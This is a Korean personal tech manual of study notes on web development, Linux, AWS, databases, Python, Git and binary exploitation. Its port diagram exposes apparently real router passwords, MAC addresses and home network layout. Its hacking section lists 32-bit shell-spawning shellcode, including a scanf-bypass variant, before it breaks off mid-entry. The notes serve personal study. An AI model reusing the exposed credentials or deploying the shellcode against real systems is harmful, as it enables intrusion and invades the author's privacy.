colaf.svgColaf
login 

Author: colaf Date: 2025.09.03 23:02:01
Category: Colaf
Subject: Colaf manual
Content

Colaf manual

ⅠColaf
	ⅰURL 
	ⅱjavascript
	ⅲcss
	ⅳpug
	ⅴUSER
	ⅵLOG
	ⅶHISTORY
	ⅷport
ⅡAWS
	ⅰEC2
	ⅱLambda
	ⅲS3
	ⅳIAM
ⅢLinux
	ⅰvim
	ⅱcommand
	ⅲnginx
	ⅳPostfix
	ⅴssh
ⅣDB
	ⅰMYSQL
Ⅴnode.js
	ⅰnpm
	ⅱnode_module
	ⅲexpress
	ⅳpassport
	
ⅥPython
	ⅰmain
	ⅱpip
	ⅲFast API
	ⅳtensorflow

ⅦC

ⅧREGEX
	
ⅨGit

ⅩMac config
	ⅰkarabiner

ⅩⅠWindows config

ⅩⅡSYSTEM

ⅩⅢ
ⅩⅣ
ⅩⅤCrypto hacking
ⅩⅥSystem hacking
ⅩⅦ Reversing hacking
ⅩⅧ Forensic
ⅩⅨWeb

 

ⅠColaf	ⅰURL
foo://id:pw@example.com:8042/over/there?name=ferret#nose
\_/         \______________/ \________/ \_________/ \__/
scheme		host:port	path	   query       fragment
		authority
fragment: 같은 페이지 내 특정 부분을 표시


ⅠColaf	ⅱjavascript
날짜와 시간
UTC(Universal Time Coordinated Time standard)
Time zone┬GMT(Greenwich Mean Time)
  	 ├KST(Korean Standard Time)
  	 ├JST
	 └…
Time zone 중 GMT를 Time standard, UTC로 정해서 사용
Zulu time: 군사 항법에서 쓰는 기준시간 UTC+0
ISO8601에서 정한 시간 표기 기준	YYYY-MM-DDT 09:00:00+09:00
				YYYY-MM-DDT 00:00:00+00:00
				00:00:00Z	maria DB에 DATETIME에는 Zulu time이 기록된다.

 

ⅠColaf	ⅲcss
position	static(기본속성)	top, bottom, left, right 무시
		relative		원래 위치 기준으로 위치 설정

┌───────────────────────────────────────────────────────────────┐
│┌─────────────────────┐┌─────────────────────┐	display: block	│
││display: inline block││display: inline block│			│
│└─────────────────────┘└─────────────────────┘			│
└───────────────────────────────────────────────────────────────┘

vertical-align	baseline		가장 큰 요소 기준으로 baseline끼리 맞춤
		top			대표요소의 top과 맞춤
─x-height
─baseline
─descender line
사실 잘 모르겠음

font-family
family name
generic family

serif(명조체): 글자의 끝에 연장선이 있다.
sans-Serif(고딕체)
h1∼h6: em 2∼0.8		Times New Roman, Times, 나눔명조, Serif
p, table: em 1		Ariel, Hervetica, 나눔바른고딕, Sans-serif
code: em 0.9		D2 Coding, Cascadia Code, Sans-Serif
			Courier New, Courier, Monospace
			Verdana, Geneva, Sans-Serif

 

ⅠColaf	ⅳpug

 

ⅠColaf	ⅶHISTORY
Outlook DB
lupin table
CREATED
DESCRIPTION
DTEND
DTSTAMP
DTSTART
LAST-MODIFIED
LOCATION
SUMMARY

 

ⅠColaf	ⅷport
┌───────────────────────────────┐	┌───────────────────────────────────────┐	┌───────────────────────┐
│Wired router			│	│Wireless router			│	│Raspberry pi		│
│		192.168.219.1	│	│192.168.219.100	192.168.123.1	│	│192.168.123.110	│
│18:C5:01:C5:5E:4F		│	│28:4E:E9:32:F5:27			│	│2C:CF:67:2C:CF:DF	│
│PW: 01C5#200400		│	│PW: 715722F8M#				│	│			│
│9922	────────────────────────┼───────┼9922	────────────────────────────────┼───────┼22		ssh	│
│80	────────────────────────┼───────┼80	────────────────────────────────┼───────┼80		http	│
│443	────────────────────────┼───────┼443	────────────────────────────────┼───────┼443		web	│
│9443	────────────────────────┼───────┼9443	────────────────────────────────┼───────┼9443		media	│
│				│	│					│	│10443		cam	│
│				│	│					│	└───────────────────────┘
│				│	│					│	┌───────────────────────┐
│				│	│					│	│Macbook		│
│				│	│					│	│192.168.123:112	│
│				│	│					│	│88:E9:FE:6C:54:5B	│
│9959	────────────────────────┼───────┼9959	────────────────────────────────┼───────┼5900	RDP		│
│				│	└───────────────────────────────────────┘	└───────────────────────┘
│				│	┌───────────────────────────────────────┐
│				│	│NAS					│
│				│	│192.168.219.101			│
│				│	│00:11:32:49:2E:2C			│
│19922	────────────────────────┼───────┼19922	ssh				│
│25	────────────────────────┼───────┼25	mail				│
│587	────────────────────────┼───────┼587	mail				│
│995	────────────────────────┼───────┼995	mail				│
│5001	────────────────────────┼───────┼5001	DSM				│
│5006	────────────────────────┼───────┼5006	Webdav				│
└───────────────────────────────┘	└───────────────────────────────────────┘

 

ⅡAWS	ⅳIAM
Please migrate your code to use AWS SDK for JavaScript (v3).
For more information, check the migration guide at https://a.co/7PzMCcy
(Use `node --trace-warnings ...` to show where the warning was created)
javascript v3를 사용하라는 메시지가 나오고 있는데 aws sdk를 재설치해서 메시지가 나오지 않게 했다.
npm uninstall aws-sdk
npm install aws-sdk@2.729.0


접속이 안되면 보안그룹을 확인하자
AWS > EC2 > 네트워크 및 보안 > 보안 그룹
<보안그룹명>을 선택

<보안그룹명>
인바운드 규칙과 아웃바운드 규칙을 확인
================================================================
IAM(Identity and Access Managament) > 사용자 > 사용자 추가

사용자 추가
사용자 이름: colaf.net
AWS 액세스 유형 선택 > AWS 자격 증명 유형 선택: 액세스 키 - 프로그래밍 방식 액세스
다음: 권한

사용자 추가
권한 설정: 기존 정책 직접 연결, AmazonS3FullAccess
다음: 태그

사용자 추가
태그 추가(선택 사항): 
다음: 검토

사용자 추가
완료

AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
를 저장해둔다.

 

ⅢLinux	ⅰvim
vim manual
~/.vimrc 파일이 설정파일이다.
navigation
┌───────────────────────┬───────────────────────────────────────┐
│j			│down   				│
│k			│up     				│
│h			│left   				│
│l			│right  				│
│^			│Home   				│
│$			│End    				│
│H			│화면 위로 커서를 이동  		│
│M			│화면 중간으로 커서를 이동     		│
│L			│화면 아래로 커서를 이동       		│
│gg			│맨앞으로 이동  			│
│<숫자>g        	│<숫자>번째 줄로 이동   		│
│G			│맨 끝으로 이동 			│
│ctrl+u 		│절반 위로      			│
│ctrl+d 		│절반 아래로    			│
│ctrl+e 		│커서를 두고 위로       		│
│ctrl+y 		│커서를 두고 아래로     		│
│zt			│현재 커서를 화면의 위로 오도록 	│
│zz			│현재 커서를 화면의 가운데로 오도록     │
│zb			│현재 커서를 화면의 아래로 오도록       │
│{			│문단 시작      			│
│}			│문단 끝 				│
└───────────────────────┴───────────────────────────────────────┘

insert mode
┌───────────────────────┬───────────────────────────────────────┐
│i			│커서 위치부터				│
│a			│커서 다음위치부터 입력			│
│I			│줄 처음부터 입력			│
│A			│줄 마지막부터 입력			│
│o			│아래줄을 추가하고 입력			│
└───────────────────────┴───────────────────────────────────────┘

Command(single)
┌───────────────────────┬───────────────────────────────────────┐
│esc			│command mode				│
│dd			│한줄 잘라내기				│
│yy			│한줄 복사				│
│u			│undo					│
│ctrl+r			│redo					│
│*			│커서위에 있는 단어를 highlight 정방향	│
│#			│커서위에 있는 단어를 highlight 역방향 	│
│ctrl+p			│자동완성				│
│m	│알파벳 단어에 위치 저장(마킹)		│
│'	│마킹한 줄로 이동			│
│`	│마킹한 위치로 이동			│
│:marks			│모든 마크 나열				│
└───────────────────────┴───────────────────────────────────────┘

Command(combination)
┌───────────────────────┬───────────────────────────────────────┐
│x			│커서 글자 삭제				│
│y			│복사하기(yank)				│
│c			│잘라내고 edit mode(cut)		│
│p			│커서 뒤에 붙여넣기			│
│P			│커서 앞에 붙여넣기			│
│*p			│클립보드 붙여넣기			│
│.			│했던 명령행동을 반복			│
│=			│정렬					│
└───────────────────────┴───────────────────────────────────────┘

접속(combination)
┌───────────────────────┬───────────────────────────────────────┐
│a			│1개					│
│숫자			│숫자개만큼				│
│i			│inner					│
│t			│앞방향으로 구문이 나올 때까지		│
│f			│앞방향으로 다음 구문을 포함하여	│
│/			│단어가 나올때까지 명령을 수행		│
│'	│마크 줄까지				│
│`	│마크 위치까지				│
└───────────────────────┴───────────────────────────────────────┘

Object(combination)
┌───────────────────────┬───────────────────────────────────────┐
│j			│아래방향으로				│
│w			│단어 단위로 forward 이동		│
│b			│단어 단위로 backward 이동		│
│p			│paragraph				│
│s			│sentence				│
│t			│tag					│
│"			│따옴표 안의 문장			│
│'			│따옴표 안의 문장			│
│(			│소괄호 안의 문장			│
│{			│중괄호안의 문장			│
│;			│했던 명령을 반복수행			│
└───────────────────────┴───────────────────────────────────────┘

visual mode
┌───────────────────────┬───────────────────────────────────────┐
│v			│visual mode				│
│ctrl+v			│visual mode block지정			│
│zf			│block을 폴딩				│
│zi			│block을 언폴딩				│
└───────────────────────┴───────────────────────────────────────┘

search mode
┌───────────────────────┬───────────────────────────────────────┐
│/			│Search mode				│
│n			│다음 단어				│
│N			│이전 단어				│
├───────────────────────┴───────────────────────────────────────┤
│:s/<찾을 단어>/<바꿀 단어>/	바꾸기	│
├───────────────────────────────────────────────────────────────┤
│							│
│┌──────────────────────┬───────────────────────────────┐	│
││g//		│이 있는 줄만 바꾼다.	│	│
││,			│구분자				│	│
││^			│처음				│	│
││.			│현재위치			│	│
││$			│마지막				│	│
││%			│전체구간			│	│
││숫자			│숫자번째 줄			│	│
││-			│숫자(숫자번째 이전 출)		│	│
││+			│숫자(숫자번째 다음 줄)		│	│
│└──────────────────────┴───────────────────────────────┘	│
│							│
│┌──────────────────────┬───────────────────────────────┐	│
││g			│줄의 모든 부분			│	│
││c			│Confirm			│	│
│└──────────────────────┴───────────────────────────────┘	│
└───────────────────────────────────────────────────────────────┘

Command mode(colon을 입력하여 진입)
┌───────────────────────┬───────────────────────────────────────┐
│w			│저장					│
│q			│종료					│
│e			│열기					│
│			│					│
│			│					│
│			│					│
└───────────────────────┴───────────────────────────────────────┘

Window 제어
┌───────────────────────┬───────────────────────────────────────┐
│:tabnew		│새 탭을 열기				│
│gt			│다음 탭				│
│gT			│이전 탭				│
│gf			│링크를 열기				│
│ctrl+w, f		│링크를 열기				│
│:vs			│vertical split				│
│:sp			│horizontal split			│
│ctrl+w, w		│다음 창으로 이동			│
│ctrl+w, _		│가로분할 윈도우 확장			│
│ctrl+w, =		│창을 같은 크기로			│
│ctrl+w, |		│세로분할 윈도우 확장			│
└───────────────────────┴───────────────────────────────────────┘

탐색기
┌───────────────────────┬───────────────────────────────────────┐
│:NERDTree		│NERDTree 켜기				│
│m			│menu					│
│e			│새 창에 열기				│
│o			│새 창에 열기				│
│i			│좌우로 창을 나누어 열기		│
│s			│위아래로 창을 나누어 열기		│
│I			│숨김파일 보기				│
│R			│Refresh				│
└───────────────────────┴───────────────────────────────────────┘

Terminal
┌───────────────────────┬───────────────────────────────────────┐
│:terminal		│terminal 켜기				│
│ctrl+w, N		│terminal edit mode			│
└───────────────────────┴───────────────────────────────────────┘

Folding
┌───────────────────────┬───────────────────────────────────────┐
│zf			│선택부분 접기				│
│zi			│접기/열기 토글				│
│zv			│커서 줄 보기				│
│zo			│부분 펴기(open)			│
│zc			│부분 접기(close)			│
│zM			│모두 접기				│
│zR			│모두 펴기				│
│zd			│접은 부분 삭제				│
└───────────────────────┴───────────────────────────────────────┘

 

ⅢLinux	ⅱcommand
리눅스 포트 확인방법
lsof -i tcp:
kill -9 

curl [option] 
option
-k --insecure: https연결에서 SSL검증없이 입력
-d --data: HTTP POST요청 데이터 입력
-X --request: 요청시 사용할 메소드 종류

 

ⅢLinux	ⅲnginx
node.js 서버가 443포트를 사용하게 해서 노출시키는 것보다 리버스프록시를 두어서 외부에는 리버스프록시만 보이게 
해서 보안을 강화할 수 있다고 한다.
nginx를 설치해보자
sudo apt install -y nginx

sudo service nginx start
sudo service nginx status
sudo service nginx stop

		Web server	WAS(Web application server)
Client	→	NGINX	→	Web
		port 443	port 9900

설정파일: /etc/nginx/nginx.conf
로그위치: tail -f /var/log/access.log, error.log

 

ⅢLinux	ⅳPostfix
설치방법
sudo apt-get innstall postfix

설정파일 위치: /etc/postfix/main.cf

SSL 발급
openssl req -new -x509 -nodes -out postfix_default.pem -keyout postfix_default.pem -days 3650
Country Name (2 letter code) [AU]:KR
State or Province Name (full name) [Some-State]:Seoul
Locality Name (eg, city) []:Seoul
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Cola-f
Organizational Unit Name (eg, section) []:Owner
Common Name (e.g. server FQDN or YOUR name) []:colaf.net
Email Address []:colaf@colaf.net

postfix_default.pem 이 생성된다.

MYSQL 설정DB: 
┌───────────────────────┐	┌───────────────────────────────────────────────────────────────┐
│table: virtual_domains	│	│table: virtual_users						│
├───────┬───────────────┤	├───────┬───────────────┬───────────────┬───────┬───────────────┤
│id	│name		│	│id	│domain_id	│password	│email	│reference	│
├───────┼───────────────┤	├───────┼───────────────┼───────────────┼───────┼───────────────┤
│1	│colaf.net	│	│1	│1		│ENCRYPT…	│	│		│
└───────┴───────────────┘	└───────┴───────────────┴───────────────┴───────┴───────────────┘
virtual_domains의 id '1'과 virtual_users의 domain_id가 같아야 한다.

 

ⅢLinux	ⅴssh
EC2로 파일 보내는 법
scp -i <로그인에 사용하는 .pem파일> <송신하는 파일> <사용자명>@:<수신하는 디렉토리>
ex) scp -i colafDB.pem .\Current\jellybeans.vim ubuntu@x.x.x.x:/home/ubuntu

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
ssh 로 접속할 때마다 ~/.ssh/known_hosts에 호스트정보가 저장이 되는데 기존에 접속하던 호스트가 아닌곳에 
접속하면 차단을 당한다. 그렇기 때문에 메시지를 보고 삭제를 해야 한다.
Add correct host key in /Users/colaf/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /Users/colaf/.ssh/known_hosts:5
ssh-keygen -R <삭제하고자 하는 호스트>
명령어를 사용하여 삭제한다.

 

ⅣDB	ⅰMYSQL
DDL(Definition)
CREATE DATABASE 
USE 
CREATE TABLE 

DML(Management)
INSERT INTO (', ...)
SELECT  FROM  WHERE 조건 IN
UPDATE  SET =
REMOVE

DCL(Control)
GRANT
REVOKE

Function
substr(, 1, 1)
if(조건, 참일때 출력, 거짓일때 출력)
bin(): 2진법으로 표현
length(): 길이
char_length: 문자를 UTF-8로 변환하고 10진법으로 나타냄
ord(): ascii 코드로 변환

구조
┌───────────────────────┬───────────────┬───────────────┬───────────────┐
│db			│table		│column		│		│
├───────────────────────┼───────────────┼───────────────┼───────────────┤
│-			│sysobjects	│name		│		│
│-			│syscolumns	│name		│		│
│information_schema	│tables		│table_name	│		│
│information_schema	│column		│column_name	│		│
│information_schema	│SCHEMATA	│SCHEMA_NAME	│		│
└───────────────────────┴───────────────┴───────────────┴───────────────┘

Tip: sqltest.net에서 테스트 가능
MySQL vs MSSQL 비교
┌───────────────────────────────┬───────────────────────────────┐
│MySQL				│MSSQL				│
├───────────────────────────────┼───────────────────────────────┤
│database()			│db_name()			│
│substr()			│substring()			│
│len()				│length()			│
└───────────────────────────────┴───────────────────────────────┘

 

Ⅴnode.js	ⅰnpm
npm start
npm run mac-dev

Ⅴnode.js	ⅱnode_module
①pm2명령어
./node_modules/pm2/bin/pm2 start "npm start"
./node_modules/pm2/bin/pm2 kill
./node_modules/pm2/bin/pm2 status
./node_modules/pm2/bin/pm2 log
pm2로그위치: /var/services/homes/archiver/.pm2/logs/npm-start-out.log
Ⅴnode.js	ⅳpassport
Ⅴnode.js	ⅲexpress
/bin
/build
/data
/public: 정적 파일을 보관
/route
/views: pug를 사용하여 서버사이드 렌더링
app.js: web application의 기본함수
package.json
tsconfig.json
webpack.json

 

ⅥPython	ⅰmain
brew install python3
python3 명령어를 사용해야 하는데 불편하므로 'alias python=python3'을 .bash_profile에 추가한다.

ⅥPython	ⅱpip
pip3 명령어를 사용해야 되는데 불편하므로 'alias pip=pip3'를 .bash_profile에 추가한다.
pip 업데이트
pip install --upgrade pip

ⅥPython	ⅲFast API
.bashrc 수정
Windows에서 bash를 사용할 때 python 명령어가 먹통이 된다. 다음 문구를 추가한다.
alias python='winpty python.exe'

가상환경 만들기
python -m venv 

가상환경 진입하기
cd .//Scripts
source ./activate

pip install fastapi
pip install "uvicorn[standard]"

구동
main.py 작성
uvicorn main:app --reload --host=0.0.0.0 --port=9907

ⅥPython	ⅳtensorflow
설치
pip install tensorflow	# Machine learning을 위한 library
pip install pandas			# 데이터를 불러오기 위한 library
import tensorflow as tf
import pandas as pd

datatype(dtype)
정수형: int32, 실수형: float32

텐서 자료형 선언
tf.constant([[x, x, x], [x, x, x]], tf.float32) 
tf.zeros([2, 3, 1]) 2x3x1 영행렬 생성 [2, 3, 1]을 행렬의 shape이라 함
tf.cast	자료형을 변경할 수 있음
tf.Variable()	weight을 저장하고 싶을 때 변경이 쉽게 된다

연산
tf.constant().shape	#shape
tf.add()   덧셈
tf.substract() 뺄셈
tf.divide()    나눗셈
tf.multiply()  곱셈
tf.matmul()    행렬곱

Variable.numpy()	Variable을 리스트로 바꿈
Variable.assign()	Variable을 수정

Optimizer
adam, adagrad adadelta rmsprop sgd

Loss function
mean squared error: 점수를 예측, 일반적인 문제
binary_cross entropy: 결과가 0과 1 사이의 분류 문제일 때 씀


Linear Rgression
example
a = tf.Variable(0.1)
b = tf.Variable(0.2)
def loss_function():
	예측값 = 키*a+b
	return tf.square(260 - 예측값)

opt = tf.keras.optimizers.Adam(learning_rate=0.1)
for i in range(300):
	opt.minimize(loss_function, var_list=[a, b])
	print(a.numpy(), b.numpy())

Neural Network
model	tf.keras.models.Sequential()
layers	tf.keras.layers.Dense()
activation 함수	sigmoid, tanh, relu, softmax
optimizer	adam, adagrad, adadelta, rmsprop, sgd
loss function	mse, binary_crossentropy
epochs: 학습횟수
Example

pandas
pandas.read_csv('')	csv파일을 읽는다.
PANDAS.isnull().sum()	값이 들어있지 않은 열의 개수를 세준다.
PANDAS.dropna()		값이 들어있지 않은 행을 없앤다.
PANDAS.fillna()	 값으로 채운다.
PANDAS['']
		.min()	최소값
		.max()	최대값
		.count()	개수
PANDAS.iterrows()  데이터를 행별로 나눈 걸 리스트로 갖고있음 for 문에서 사용하기 좋음ㅋㅌ

Linear Regression
import pandas as pd
data = pd.read_csv('<경로>')
#print(data.isnull().sum())
data = data.dropna()
data = data.fillna(100)

data['<열이름>']
data.min(), data.count(), data.max()

y데이터 = data['admit'].values
x데이터 = []
for i, rows in data.iterrows():	#한 행씩 출력할 수 있음
	

import tensorflow as tf
model = tf.keras.models.Sequential([
		tf.keras.layers.Dense(64, activation='sigmoid'),
		tf.keras.layers.Dense(128, activation='sigmoid'),
		tf.keras.layers.Dense(1, activation='sigmoid')	# 0~1 확률을 알고 싶으면 sigmoid가 적당
])

model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])

model.fit(x 데이터, y데이터, epochs=10)	#epochs 는 학습횟수


ⅧREGEX
정규식 구성: //
flag
i	Ignore case	대소문자를 구별하지 않음
g	Global		전역검색 한 행의 모든 부분을 검색
m	Multi line	모든 행을 검색
s			.이 개행문자 \n도 포함하도록
u	Unicode		유니코드 전체를 지원
y	sticky		문자 내 특정 위치에서 검색을 진행하는 'sticky'모드를 활성화

pattern
a-zA-Z		영어알파벳
ㄱ-ㅎ가-힣	한글 문자
0-9		숫자
.		모든 ㄴ자열
\d		숫자
\D		숫자가 아닌 것
\w		[A-Za-z0-9_]
\W		\w가 아닌 것
\s		공백문자
\S		공백문자가 아닌 것
\특수기호	escape문자를 상요하여 특수기호를 표현
\b		[A-Za-z0-9_계가 아닌 나머지 문자에 일치하는 경계


정규식 method javascript
String.match(<정규식>)		정규식과 일치하는 항목을 배열로 반환
String.replace(<정규식>, "대체문자열")	정규식과 일치하는 항목을 "대체문자열"로 변환
String.split(<정규식>)			정규식
Regex.test("<문자열>")			문자열이 정규식에 부합하면 true를 반환 아니면 false를 반환
Regex.exec("<문자열>")			문자열에서 정규식에 부합하는 첫번째 결과를 반환

reference
https://inpa.tistory.com/entry/JS-📚-정규식-RegExp-누구나-이해하기-쉽게-정리


ⅨGit
user setting	git config --global user.name ""
		git config --global user.email colaf@colaf.net
		git config --global user.password 
initialize	git init
repository 등록	git remote add origin https://github.com/cola-f/.git
스테이징	git add .
커밋		git commit -m ""
push		git push origin main
pull		git pull origin main
unstage		git reset
변경사항 취소	git checkout .
추적할 수 없는 파일 제거	git clean -fdx
git pull push 암호 저장
git config credential.helper store


ⅩMac config	ⅰkarabiner
configuration file 위치: /Users/lupin/.config/karabiner/assets/complex_modifications

ⅩMac config	ⅱcode-server
curl -fsSL
brew in
brew services start code-server
brew services stop code-server
brew services list
brew services info

sudo systemctl start code-server@

ⅩⅠWindows config


ⅩⅥSystem hacking
ⅰ개요
???.c			C code 또는 skeleton code + assembly code
↓	preprocess	↓	gcc -S  -o  -masm=intel
???.i			↓		-fno-asynchronous-unwind-tables -nostdlib
↓	compile		↓		-fno-omit-frame-pointer
어셈블리어		↓	
???.asm			↓	
↓	assemble	↓
PE, ELF			↓
↓	link		↓	
binary			???	

???.asm
↓	nasm -f elf ???.asm	32bit일 때
↓	nasm -f elf64 ???.asm	64bit일 때
↓	objdump -d ???.o
???.o───────────────────────────────────↘
↓	objccopy ???.o 			↓xxd  > 
↓	--dump-section .text=???.bin	↓
???.bin					bytecode text

ⅱInstruction Set Architecture, ISA: 명령어 집합구조
├IA-32	고성능 프로세서용 32bit word->4GB 가상메모리
├x86-64	고성능 프로세서용 64bit word->16엑사바이트 가상메모리
├ARM	\
├MIPS	|-저전력 임베디드
└AVR	/
word: CPU가 한번에 처리할 수 있는 데이터크기

ⅲx86-64 Architecture
범용 레지스터: 8바이트
									
Accumulator	├------RAX----------------------┤	함수의 반환값 저장
Register			├------EAX------┤	IA-32와 호환을 위해 존재
					├--AX---┤	IA-16와 호환을 위해 존재
					├AH-┼AL-┤
Base		├------RBX----------------------┤	x64에서 주된 용도 없음
Register			├------EBX------┤	
					├--BX---┤
					├BH-┼BL-┤
Counter		├------RCX----------------------┤	반복문의 횟수를 저장
Register			├------ECX------┤	
					├--CX---┤
					├CH-┼CL-┤
Data		├------RDX----------------------┤	x64에서 주된 용도 없음
Register			├------EDX------┤	x64에서 주된 용도 없음
					├--DX---┤
					├DH-┼DL-┤
Source Index	├------RSI------┼------ESI------┤
Destination	├------RDI------┼------EDI------┤
Index
Base pointer	├------RBP------┼------EBP------┤
Stack pointer	├------RSP------┼------ESP------┤
R8~R15		├-------------------------------┤

명령어 포인터 레지스터 8바이트
Instruction	├-------------------------------┤
Pointer

세그먼트 레지스터 16비트
cs, ss, ds-> 코드영역, 데이터, 스택 메모리 영역을 가리킬 때 사용
es, fs, gs-> 운영체제 별로 용도를 결정할 수 있도록 제작된 세그먼트 레지스터

플래그 레지스터 64비트
CF(Carry Flag): 부호 없는 수의 연산 결과가 비트의 범위를 넘을 경우 설정
ZF(Zero Flag): 연산의 결과가 0일 경우 설정
SF(Sign Flag): 연산의 결과가 음수일 경우 설정
OF(Overflow Flag): 부호 있는 수의 연산 결과가 비트 범위를 넘을 경우 설정

ⅳ메모리
		┌───────────────────────────────┐
낮은 주소→	│실행할 프로그램의 코드		│	코드 영역
		├───────────────────────────────┤
		│정적변수, 전역변수		│	데이터 영역
		├───────────────────────────────┤
		│사용자의 동적 할당		│	힙 영역
		├───────────────────────────────┤
				………
		├───────────────────────────────┤
높은 주소→	│지역변수, 매개변수		│	스택 영역
		└───────────────────────────────┘


ⅴ연산자
형식: Opcode Operand1, Operand2
피연산자: 상수, 레지스터, 메모리(QWORD PTR[0x????], DWORD PTR[0x????], WORD PTR[0x????])
종류
┌───────────────┬───────┬───────────────────────────────────────────────────────────────────────────────┐ 
│데이터 이동	│move	│Operand2의 값을 Operand1에 대입						│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│lea	│Operand2의 주소를 Operand1에 대입						│
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│산술연산	│inc	│Operand1을 1 증가시킨다							│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│dec	│Operand1을 1 감소시킨다							│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│add	│										│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│sub	│										│
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│논리연산	│and	│										│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│or	│										│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│not	│										│
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│비교		│comp	│Operand1과 Operand2를 비교해서 ZF에 기록한다.					│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│test	│										│
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│분기		│jmp	│Operand1로 RIP를 이동한다.							│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│je	│직전 comp의 결과인 ZF가 0이면 이동한다.					│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│jg	│직전 comp의 결과인 ZF가 1이면 이동한다.					│
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│stack		│push	│stack 상단에 값을 쌓음								│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│pop	│stack 상단의 값을 꺼냄								│
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│프로시저	│call	│procedure를 부름 원래의 실행흐름으로 돌아가기 위해 call다음의 명령어주소를	│
│(특정 기능을	│	│스택에 저장하고 rip를 프로시저로 이동						│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│수행하는코드)	│ret	│호출자의 실행 흐름으로 돌아감(return)						│
│		├───────┼───────────────────────────────────────────────────────────────────────────────┤
│		│leave	│스택프레임을 정								│
├───────────────┼───────┼───────────────────────────────────────────────────────────────────────────────┤
│시스템콜	│syscall│rax의 값과 인자저레지스터로 전달하면, 커널이 읽어서 요청을 처리함		│
└───────────────┴───────┴───────────────────────────────────────────────────────────────────────────────┘


x64-86 syscall table
┌───────────────┬───────┬───────────────────────┬───────────────┬───────────────┐ 
│syscall	│rax	│arg0(rdi)		│arg1(rsi)	│arg2(rdx)	│
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│read		│0x00	│unsigned int fd	│char *buf	│size_t count	│
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│write		│0x01	│unsigned int fd	│const char *buf│size_t count	│
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│open		│0x02	│const char *filename	│int flags	│umode_tmode	│
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│close		│0x03	│unsigned int fd	│		│		│
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│mprotect	│0xe3	│unsigned int fd	│		│		│
├───────────────┼───────┼───────────────────────┼───────────────┼───────────────┤
│		│	│			│		│		│
└───────────────┴───────┴───────────────────────┴───────────────┴───────────────┘




PE file: 윈도우 운영체제에서 사용되는 실행 파일
	PE헤더
	.text	코드 쓰기권한x
	.data	초기화된 전역변수 읽기, 쓰기권한
	.rdata	전역삼수, 참조할 dll 읽기권한
	.bss	초기화되지 않은 전역변수
	.idata	import할 dll, api정보
	.edata	export할 dll, api정보
	.rsrc	다이얼로그, 아이콘 등 resource

ELF file: 유닉스 계열 운영체제(리눅스 등) 에서 사용되는 실행 파일
리눅스 프로세스의 메모리
├코드세그먼트	함수			읽기, 실행권한
├데이터세그먼트	전역변수, 전역상수	읽기권한
├BSS세그먼트	정의되지 않은 전역변수	
├힙세그먼트	동적할당받은 메모리
└스택세그먼트	지역변수

pwngdb manual
entry
b	break
c	continue
r	run
disassemble, u, nearpc pdisass	disassemble
ni	next instruction
si	step into
finish	finish
x	메모리 출력
Format letters
o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), 
i(instruction), c(char), s(string) and z(hex, zero padded on the left). Size letters are b(byte), 
h(halfword), w(word), g(giant, 8 bytes).
tele	telescope 메모리 덤프
vmmap	가상메모리의 레이아웃

함수호출규약
assembly code
…
┌───────┐	함수호출		┌───────┐
│caller	│──────────────────────────────→│callee	│
│	│	caller의 상태,		│	│
│	│	반환주소 저장		│	│
│	│				│	│
│	│	함수반환		│	│
│	│←──────────────────────────────│	│
└───────┘	callee의 상태 반환	└───────┘
…
assembly code

┌───────┬───────┬───────┬───────────────────────────────┐
│	│OS	│Compile│Calling convention		│
├───────┼───────┼───────┼───────────────────────────────┤
│C lang	│Windows│MSVC	│MS x64				│
├───────┼───────┼───────┼───────────────────────────────┤
│	│Linux	│gcc	│SYSTEM V			│
├───────┼───────┼───────┼───────────────────────────────┤
│x86	│Linux	│gcc	│cdecl				│
│binary	│	│	│				│
├───────┼───────┼───────┼───────────────────────────────┤
│x86-64	│	│	│SYSTEM V			│
│binary	│	│	│				│
├───────┼───────┼───────┼───────────────────────────────┤
│x86	│	│	│stdcall			│
│	│	│	│fastcall			│
│	│	│	│thiscall			│
├───────┼───────┼───────┼───────────────────────────────┤
│x86-64	│	│	│MS ABI				│
│	│	│	│(Application Binary Interface)	│
│	│	│	│System V AMD64 ABI		│
└───────┴───────┴───────┴───────────────────────────────┘

shell code
32bit
6	\x31\xc0\xb0\x01\xcd\x80
25	\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
26	scanf	\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40
	우회	\x40\xcd\x80	
41	set
	reuid
	(gete
	 uid()
	 , get
	 reu
